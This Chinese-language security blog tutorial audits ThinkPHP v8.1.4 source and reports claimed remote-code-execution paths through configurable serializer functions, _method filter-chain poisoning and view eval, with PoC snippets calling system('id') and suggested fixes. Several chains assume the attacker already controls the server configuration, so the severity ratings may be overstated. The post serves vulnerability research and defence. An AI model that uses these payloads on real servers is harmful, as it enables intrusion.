PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】ThinkPHP v8.1.4 源码审计:从变量函数调用到RCE

📅 2026年5月30日 📁 Hermes Agent ⏱ 2 分钟

适合人群:PHP安全研究员、CMS漏洞挖掘者、白帽子

前置知识:PHP基础、ThinkPHP框架结构、代码审计基础

一、前置准备

审计目标: ThinkPHP v8.1.4(2026年1月发布的最新版)

源码下载: https://github.com/top-think/framework/releases/tag/v8.1.4

审计环境: PHP 8.1 + 本地源码分析 + PoC验证

分析工具: semgrep + 人工代码审计

二、漏洞发现

本次审计发现4个高危漏洞,其中3个已本地验证RCE。

2.1 缓存序列化函数注入(CVSS 9.8)

位置: src/think/cache/Driver.php:244-246


protected function serialize($data)
{
    if (is_numeric($data)) {
        return $data;
    }
    $serialize = $this->options['serialize'][0] ?? "serialize";
    return $serialize($data);  // ← 变量函数调用!
}

Framework将所有缓存驱动的序列化函数名做成可配置项。如果攻击者能控制缓存配置,就能通过变量函数语法执行任意PHP函数。

PoC验证:


// 设置恶意配置
$cache->setOptions(['serialize' => ['system', '']]);
Cache::set('x', 'id');  // → 执行 system('id')

影响范围: File/Redis/Memcache/Memcached 全部缓存驱动。

2.2 Session序列化函数注入(CVSS 9.8)

位置: src/think/session/Store.php:308-310


protected function serialize($data): string
{
    $serialize = $this->serialize[0] ?? 'serialize';
    return $serialize($data);  // ← 同样的变量函数!
}

Session存储使用与Cache完全相同的可配置序列化模式。

2.3 HTTP方法覆盖 + 过滤链投毒(CVSS 9.1)

位置: src/think/traits/HttpMethodHandler.php:47-49


if (isset($_POST[$this->varMethod])) {
    $this->method = strtoupper($_POST[$this->varMethod]);
    $this->{$this->method}($_POST);  // ← 动态调用!
}

当发送 _method=filter 时,调用 $this->filter($_POST),将全局filter设为整个POST数据。

联动: src/think/Request.php:1350


$value = call_user_func($filter, $value);  // ← call_user_func遍历filter链

PoC验证:


// _method=system → filter链包含'system' → RCE!
$_POST = ['_method' => 'system', 'cmd' => 'id'];
$request->filter($_POST);  // filter被投毒
$request->param('cmd');    // → call_user_func('system', 'id') → RCE!

2.4 View display() eval注入(CVSS 9.8)

位置: src/think/view/driver/Php.php:107


public function display(string $content, array $data = []): void {
    extract($data, EXTR_OVERWRITE);
    eval('?>' . $this->content);  // ← 原生eval!
}

三、攻击链分析

Chain A: 缓存配置注入 → RCE


攻击者控制 app/config/cache.php → serialize['0'] = 'system'
→ Cache::set('key', 'id') → system('id') ✅

Chain B: _method覆盖 → 过滤链投毒 → RCE


POST _method=filter → $this->filter($_POST)
→ 全局filter被污染 → 后续param('x')遍历过滤链
→ call_user_func('system', 'x') → RCE

Chain C: Session配置注入 → RCE


攻击者控制 session.serialize 配置
→ Session::save() → serialize($data) → system($data) ✅

四、受影响的文件

文件行号漏洞类型CVSS
cache/Driver.php244-246变量函数RCE9.8
session/Store.php308-310变量函数RCE9.8
traits/HttpMethodHandler.php49动态调用9.1
Request.php1350call_user_func9.1
view/driver/Php.php107eval注入9.8

五、修复建议

问题修复方案
可配置序列化函数改用固定serialize/unserialize调用,移除变量函数语法
_method动态调用白名单仅允许标准HTTP方法(GET/POST/PUT/DELETE/PATCH/HEAD/OPTIONS)
call_user_func过滤白名单只允许trim/strip_tags等安全函数
view eval()改用安全的模板渲染方案

六、横向影响

该漏洞不限于ThinkPHP——所有使用可配置序列化函数+变量函数调用模式的PHP框架都可能存在相同问题。开发者在设计配置化序列化方案时,应避免将函数名暴露给用户控制。

七、常见陷阱

#陷阱说明
1误以为"配置在服务端就安全".env文件泄露/反序列化gadget链都可修改配置
2忽略Session同样的漏洞模式很多人只检查Cache忽略了Session
3_method过滤链投毒被忽视TP5的_method RCE被修了,但filter投毒还在

八、总结

ThinkPHP v8.1.4 存在4个高危漏洞,核心问题是可配置函数名+变量函数调用模式。该模式在Cache和Session两个组件中同时存在。加上_method覆盖导致的过滤链投毒,构成了完整的攻击面。

PoC脚本: 已验证通过 system('id') 成功执行命令。

← 返回首页